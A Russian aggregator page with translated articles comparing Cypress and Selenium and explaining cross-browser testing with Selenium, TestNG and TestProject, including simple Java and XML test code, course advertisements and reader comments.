В Selenium, когда мы запускаем сценарий автоматизации Selenium, клиентская библиотека Selenium взаимодействует с Selenium API, который отправляет команду привязки драйверу браузера с помощью проводного протокола JSON. Драйвер браузера использует реестр HTTP для фильтрации всех команд управления HTTP-запроса и HTTP-сервера. Затем команды браузера выполняются в скрипте selenium, а HTTP-сервер отвечает скрипту автоматизированного тестирования.

Исходя из внутренней операционной архитектуры, Selenium выполняет удаленные команды по сети, а Cypress работает в том же сценарии, что и ваша программа.

Установка

В Cypress нет никакой предварительной настройки, просто установите файл.exe и автоматически настройте все драйверы и зависимости. Автоматизация может быть выполнена за считанные минуты. Одной из философий дизайна Cypress было сделать весь процесс тестирования удобным и комфортным для разработчиков, упаковки и объединения.

Чтобы использовать Selenium в проекте автоматизации, необходимо установить библиотеки линковки языков для использования предпочитаемого языка. Кроме того, в отношении браузеров, для которых вы хотите автоматически проводить проверки, вам понадобятся двоичные файлы для WebDriver.

Если мы также примем во внимание время и сложность имплементации, здесь Cypress имеет преимущество над Selenium.

Поддерживаемые языки

Cypress поддерживает только JavaScript. Поддержка других языков отсутствует, что иногда вынуждает пользователя изучать определенный язык сценариев.

Selenium, в свою очередь, поддерживает широкий спектр языков Java, C#, Python, Ruby, R, Dar, Objective-C, Haskell и PHP, а также JavaScript.

Поскольку Selenium поддерживается многими языками, пользователям полезно подумать, какой язык они хотели бы использовать для создания платформы автоматизации.

Кросс-браузерная поддержка

Cypress поддерживает Canary, Chrome, Chromium, Edge, Edge Beta, Edge Canary, Edge Dev, Electron, Firefox (бета-поддержка), Firefox Developer Edition (бета-поддержка), Firefox Nightly (бета-поддержка).

Selenium поддерживает почти все основные браузеры на рынке, что является дополнительным преимуществом Selenium. Ниже приведен список поддерживаемых браузеров: Chrome (все версии), Firefox (54 и новее), Internet Explorer (6 и новее), Opera (10.5 и новее), Safari (10 и новее).

Selenium имеет более качественную кросс-браузерную поддержку по сравнению с Cypress, потому что Selenium обеспечивает поддержку почти всех доступных на рынке браузеров, в то время как в Cypress вы не можете проводить тестирования на Safari.

Параллельное исполнение пакета автоматизированного тестирования

По сравнению с Selenium в параллельной проверке, cypress отстает.

Selenium имеет много вариантов для параллельного исполнения, что для автоматизации тестирования очень важно. Grid широко используется в сообществе QA с TestNG для параллельного исполнения. А контейнеризация Docker может быть быстро интегрирована.

Производительность

Так как у Cypress нет нескольких архитектурных слоев, в отличие, например, от Selenium, он работает в браузере аналогичным образом. Именно поэтому мы наблюдаем его значительное преимущество над Selenium в скорости выполнения тестов.

Selenium имеет несколько уровней кода между тестом и браузером, в чем, например, Cypress проигрывает.

Интеграция процессов автоматизации с CI/CD

Cypress: Возможна, но ограничена. Существует только одна альтернатива для командной строки и библиотеки npm - Mocha. Служба CI должна поддерживать npm, а запись тестов для большинства записей на сервере CI будет платной.

Selenium: Возможно применение CI/CD. Любая библиотека тестов, их запись и шаблоны исполнения могут использоваться и быстро адаптироваться к требованиям.

Лицензирование

Cypress также доступен под лицензией MIT как open-source. Однако, если сравнивать его с Selenium, все функции Cypress не будут бесплатными, например, приборная панель Cypress бесплатна для seed и платна для Sprout, Tree и Forest. (https://www.cypress.io)

Selenium разрешен под лицензией Apache 2.0, правообладатель Software Freedom Conservation.

Поддержка ОС

Cypress: Windows, Mac, Linux

Selenium: Windows, Linux, Mac, Android, iOS

Поддержка BDD и DataDrivenTesting

Selenium поддерживает BDD и data-driven с помощью внешних библиотек, что в Cypress невозможно.

Локаторы для идентификации объектов

Cypress поддерживает только CSS и Xpath.

Cypress поддерживает все виды веб-локаторов, такие как ID, Name, XPath, селекторы CSS, текстовые ссылки, текстовые частичные ссылки и т.д.

Отчет о выполнении

Selenium: Extent, Allure и любые другие дашборды могут быть реализованы в наборах автоматизации.

Cypress: Дашборд - это как раз Cypress.

Окончательный вердикт

Selenium больше ориентирован на специалистов по автоматизации тестирования, а Cypress - на разработчиков для повышения эффективности TDD. Selenium был представлен в 2004 году, поэтому у него больше поддержки экосистемы, чем у Cypress, который был разработан в 2015 году и продолжает расширяться. Когда мы используем Selenium, в браузере можно манипулировать несколькими различными опциями, такими как Cookies, Local Save, Screen, Sizes, Extensions, Cypress control line options, но опция сети может быть обработана только при использовании Cypress.

Однако, вот некоторые из преимуществ, о которых заявляет Cypress:

1. Программа будет делать скриншоты во время проведения экспериментов. Затем мы можем просмотреть каждый запрос в качестве разработчика теста на панели Test Runner, чтобы увидеть, что произошло на каждом этапе.

2. Для тестирования с помощью Cypress не требуется никакого ожидания или режима сна. Прежде чем продолжить, он немедленно ожидает команд и утверждений.

3. Подобно модульным тестовым ситуациям, "шпионы" Cypress могут подтверждать и проверять действия функций, ответы сервера или таймеры по времени. С помощью Cypress вы можете заглушить сетевой трафик и персонализировать вызовы API в соответствии с вашими потребностями.

Надеемся, что приведенные выше пункты помогут определить, какой метод вам лучше использовать и изучить.


В преддверии старта курса "Java QA Engineer. Professional" приглашаем всех желающих на бесплатный двухдневный интенсив, в рамках которого мы рассмотрим CI- и CD- процессы, изучим основные инструменты и ключевые понятия (Server, agents, jobs. Fail fast, Scheduling, WebHooks). Подробно познакомимся с программной системой Jenkins и научимся интегрировать ее с git и Docker.

Записаться на интенсив:

Подробнее..

Перевод Кросс-браузерное тестирование в Selenium

11.06.2021 02:20:41 | Автор: admin

В этой статье мы рассмотрим кросс-браузерное тестирование. Это тип тестирования, который проверяет, работает ли приложение так, как ожидается, в нескольких браузерах, операционных системах и устройствах. Мы можем проводить кросс-браузерное тестирование с помощью автоматизации и без нее. Сценарии автоматизированного тестирования могут быть написаны или созданы с помощью таких программ, как TestProject и Selenium.

К концу этой статьи вы узнаете об определении кросс-браузерного тестирования, его преимуществах и работе с ним в Selenium и TestProject.

Примечание: Код из этой статьи находится на GitHub здесь.

Что такое кросс-браузерное тестирование?

Кросс-браузерное тестирование гарантирует, что наше тестируемое приложение (AUT) совместимо с каждым браузером, операционной системой и устройством. Цель заключается в сравнении ожидаемого поведения приложения в различных случаях. Бывают случаи, когда один и тот же тестовый сценарий проходит на одном или нескольких экземплярах, но не работает на другом экземпляре.

Возможно, сбой произошел из-за нашего тестового скрипта или приложения. Вы когда-нибудь пытались открыть веб-сайт с помощью Internet Explorer, но он не работал, а затем тот же сайт без проблем открывался в Chrome? Такие проблемы выявляются во время кросс-браузерного тестирования, поскольку данные из AUT отображаются по-разному в каждом браузере.

Преимущества кросс-браузерного тестирования

Мы проводим кросс-браузерное тестирование, устанавливая базовую линию. Базовая линия - это стандартный сценарий тестирования. Его цель - изучить, как работает наш AUT, используя один браузер, одну операционную систему и одно устройство. После этого мы можем использовать базовую линию в других комбинациях браузеров, операционных систем и устройств.

Я сосредоточусь на двух преимуществах кросс-браузерного тестирования:

  1. Время

  2. Тестовое покрытие

Время

Создание и выполнение индивидуального сценария тестирования (Test Script) для уникальных сценариев занимает много времени. Поэтому наши тестовые сценарии создаются с тестовыми данными для использования их комбинаций. Один и тот же сценарий тестирования может выполняться на Chrome и Windows для первой итерации, затем на Firefox и Mac для второй итерации, а затем на других сценариях для последующих итераций.

Это экономит время, поскольку мы создаем только один тестовый сценарий, а не несколько. Ниже приведены 2 фрагмента кода для загрузки и получения заголовка для страницы TestProject. Один пример - это кросс-браузерное тестирование, а другой пример содержит отдельные тестовые сценарии для трех браузеров (Chrome, Firefox и Edge).

package tutorials.testproject;import io.github.bonigarcia.wdm.WebDriverManager;import org.openqa.selenium.WebDriver;import org.openqa.selenium.chrome.ChromeDriver;import org.openqa.selenium.edge.EdgeDriver;import org.openqa.selenium.firefox.FirefoxDriver;import org.testng.annotations.Parameters;import org.testng.annotations.Test;public class CrossBrowserTesting {  WebDriver driver;  @Test  @Parameters ( {"BrowserType"} )  public void testExamplePageOnMultipleBrowsers (String browserType) {    if (browserType.equalsIgnoreCase("Chrome")) {      WebDriverManager.chromedriver().setup();      driver = new ChromeDriver();    }    else if (browserType.equalsIgnoreCase("Edge")) {      WebDriverManager.edgedriver().setup();      driver = new EdgeDriver();    }    else if (browserType.equalsIgnoreCase("Firefox")) {      WebDriverManager.firefoxdriver().setup();      driver = new FirefoxDriver();    }    driver.manage().window().maximize();    driver.get("https://example.testproject.io/web/index.html");    System.out.println(browserType + ": " + driver.getTitle());  }}
package tutorials.testproject;import io.github.bonigarcia.wdm.WebDriverManager;import org.openqa.selenium.WebDriver;import org.openqa.selenium.chrome.ChromeDriver;import org.openqa.selenium.edge.EdgeDriver;import org.openqa.selenium.firefox.FirefoxDriver;import org.testng.annotations.Test;public class IndividualBrowserTesting {  WebDriver driver;  @Test  public void testExamplePageOnMultipleBrowsersOnChrome () {    WebDriverManager.chromedriver().setup();    driver = new ChromeDriver();    driver.manage().window().maximize();    driver.get("https://example.testproject.io/web/index.html");    System.out.println("Chrome: " + driver.getTitle());  }  @Test  public void testExamplePageOnMultipleBrowsersOnFirefox () {    WebDriverManager.firefoxdriver().setup();    driver = new FirefoxDriver();    driver.manage().window().maximize();    driver.get("https://example.testproject.io/web/index.html");    System.out.println("Chrome: " + driver.getTitle());  }  @Test  public void testExamplePageOnMultipleBrowsersOnEdge () {    WebDriverManager.edgedriver().setup();    driver = new EdgeDriver();    driver.manage().window().maximize();    driver.get("https://example.testproject.io/web/index.html");    System.out.println("Chrome: " + driver.getTitle());  }}

Тестовое покрытие

Тестовое покрытие - это техника, которая определяет, что и в каком объеме покрывается в наших тестовых сценариях.

Мы определяем особенности и убеждаемся, что для этих особенностей есть адекватные тестовые сценарии. Тестовое покрытие - это преимущество, поскольку оно позволяет нам измерить качество наших тестовых циклов.

  • Что будет включено в наши сценарии тестирования, зависит от требований.

  • То, сколько охвачено в наших сценариях тестирования, зависит от браузеров и их различных версий.

Тестовое покрытие является эффективным мерилом для процесса тестирования. Однако 100% покрытие трудно обеспечить, и, скорее всего, функция ведет себя не так, как это обычно происходит в конкретной версии.

Как осуществить кросс-браузерное тестирование в Selenium?

Мы осуществляем кросс-браузерное тестирование в Selenium, используя его сетку (grid) или тестовые данные. Selenium Grid упрощает процесс, а тестовые данные используются в качестве исходных. С помощью Selenium Grid наши тестовые сценарии выполняются параллельно на нескольких удаленных устройствах. Команды отправляются клиентом удаленным экземплярам браузера.

Тестовые данные могут храниться в файле Excel, CSV, файле свойств, XML или базе данных. Мы также можем объединить TestNG с тестовыми данными для проведения тестирования на основе данных или кросс-браузерного тестирования. Для тестирования на основе данных аннотация DataProvider и атрибут dataProvider или атрибут dataProviderClass позволяют нашему тестовому сценарию получать неограниченное количество значений.

Когда речь идет о кросс-браузерном тестировании, мы можем использовать тег параметра и аннотацию Parameters для передачи различных имен браузеров. Ниже приведены фрагменты кода, отображающие XML-файл с тегом параметра и тестовый сценарий с аннотацией Parameters.

<suite name="Cross Browser Testing">    <test name = "Test On Chrome">        <parameter name = "BrowserType" value="Chrome"/>            <classes>                <class name = "tutorials.testproject.CrossBrowserTesting"/>            </classes>    </test>    <test name = "Test On Edge">        <parameter name = "BrowserType" value="Edge"/>        <classes>            <class name = "tutorials.testproject.CrossBrowserTesting"/>        </classes>    </test>    <test name = "Test On Firefox">        <parameter name = "BrowserType" value="Firefox"/>        <classes>            <class name = "tutorials.testproject.CrossBrowserTesting"/>        </classes>    </test></suite>
package tutorials.testproject;import io.github.bonigarcia.wdm.WebDriverManager;import org.openqa.selenium.WebDriver;import org.openqa.selenium.chrome.ChromeDriver;import org.openqa.selenium.edge.EdgeDriver;import org.openqa.selenium.firefox.FirefoxDriver;import org.testng.annotations.Parameters;import org.testng.annotations.Test;public class CrossBrowserTesting {  WebDriver driver;  @Test  @Parameters ( {"BrowserType"} )  public void testExamplePageOnMultipleBrowsers (String browserType) {    if (browserType.equalsIgnoreCase("Chrome")) {      WebDriverManager.chromedriver().setup();      driver = new ChromeDriver();    }    else if (browserType.equalsIgnoreCase("Edge")) {      WebDriverManager.edgedriver().setup();      driver = new EdgeDriver();    }    else if (browserType.equalsIgnoreCase("Firefox")) {      WebDriverManager.firefoxdriver().setup();      driver = new FirefoxDriver();    }    driver.manage().window().maximize();    driver.get("https://example.testproject.io/web/index.html");    System.out.println(browserType + ": " + driver.getTitle());  }}

В XML-файле тег параметра расположен на уровне теста. У нас есть возможность разместить тег на уровне тестового набора, на уровне теста или на обоих уровнях. Обратите внимание, что тег параметра имеет имя и значение с данными между двойными кавычками. Его имя, т.е. "BrowserType", передается тестовому сценарию через аннотацию @Parameters, а значение, т.е. "Chrome", передается в операторы if и else if.

Операторы if и else if устанавливают Chrome, Edge или Firefox. Каждый браузер получал команды от одного и того же тестового сценария после выполнения из XML-файла. Следующие результаты тестирования показывают, как успешно загружается страница TestProject, а консоль печатает уникальное имя браузера и заголовок страницы.

Кросс-браузерное тестирование в Selenium с помощью TestProject

OpenSDK / Закодированный тест

Существует 2 способа проведения кросс-браузерного тестирования с помощью TestProject. Мы можем использовать OpenSDK с открытым исходным кодом или AI-Powered Test Recorder. OpenSDK оборачивается в Selenium и поддерживает Java, C# или Python. Наши тестовые сценарии похожи на кросс-браузерное тестирование в Selenium с минимальными изменениями в коде и зависимостях. Мы должны включить зависимость TestProject для Maven или Gradle, импортировать драйверы браузера и передать токен.

<dependency>     <groupId>io.testproject</groupId>     <artifactId>java-sdk</artifactId>     <version>0.65.0-RELEASE</version> </dependency>
implementation 'io.testproject:java-sdk:0.65.0-RELEASE'
import io.testproject.sdk.drivers.web.ChromeDriver;import io.testproject.sdk.drivers.web.FirefoxDriver;import io.testproject.sdk.drivers.web.EdgeDriver;

AI-Powered Test Recorder

С помощью AI-Powered Test Recorder мы создаем новое веб-задание, затем выбираем несколько браузеров, таких как Chrome, Edge и Firefox. Тест в задании TestProject позволяет нам выбрать дополнительный источник данных CSV, если мы хотим выполнить тестирование на основе данных. Вот несколько скриншотов, показывающих шаги по выполнению кросс-браузерного тестирования и отчета.

Вот пошаговая демонстрация кросс-браузерного тестирования с помощью TestProject AI-Powered Test Recorder.

Выводы

Подводя итоги, кросс-браузерное тестирование - это отличный способ использовать один сценарий тестирования и несколько браузеров одновременно. Некоторые из преимуществ включают время и тестовое покрытие. Время является нашим преимуществом, поскольку мы не создаем несколько тестовых сценариев для каждого браузера. Тестовое покрытие - это еще одно преимущество, поскольку мы можем тестировать не только версию браузера для конкретного браузера.

Кросс-браузерное тестирование осуществляется с помощью Selenium и TestProject.

TestProject позволяет нам создавать собственные тестовые сценарии с использованием Java, C# или Python после добавления OpenSDK с открытым исходным кодом. OpenSDK является оберткой Selenium, поэтому он содержит команды Selenium плюс дополнительные команды из TestProject. Кроме того, мы можем использовать TestProject's AI-Powered Test Recorder для проведения кросс-браузерного тестирования. Это удобный процесс, который требует от нас только выбора браузера, который мы хотим использовать для кросс-браузерного тестирования.


Перевод статьи подготовлен в рамках курса "Java QA Engineer. Basic". Всех желающих приглашаем на двухдневный онлайн-интенсив Теория тестирования и практика в системах TestIT и Jira. На интенсиве мы узнаем, что такое тестирование и откуда оно появилось, кто такой тестировщик и что он делает. Изучим модели разработки ПО, жизненный цикл тестирования, чек листы и тест-кейсы, а также дефекты. На втором занятии познакомимся с одним из главных трекеров задач и дефектов Jira, а также попрактикуемся в TestIT отечественной разработке для решения задач по тестированию и обеспечению качества ПО.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru